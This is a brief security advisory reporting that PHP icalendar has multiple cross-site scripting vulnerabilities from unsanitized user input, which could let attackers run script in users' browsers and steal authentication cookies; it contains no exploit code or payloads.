PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
       
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
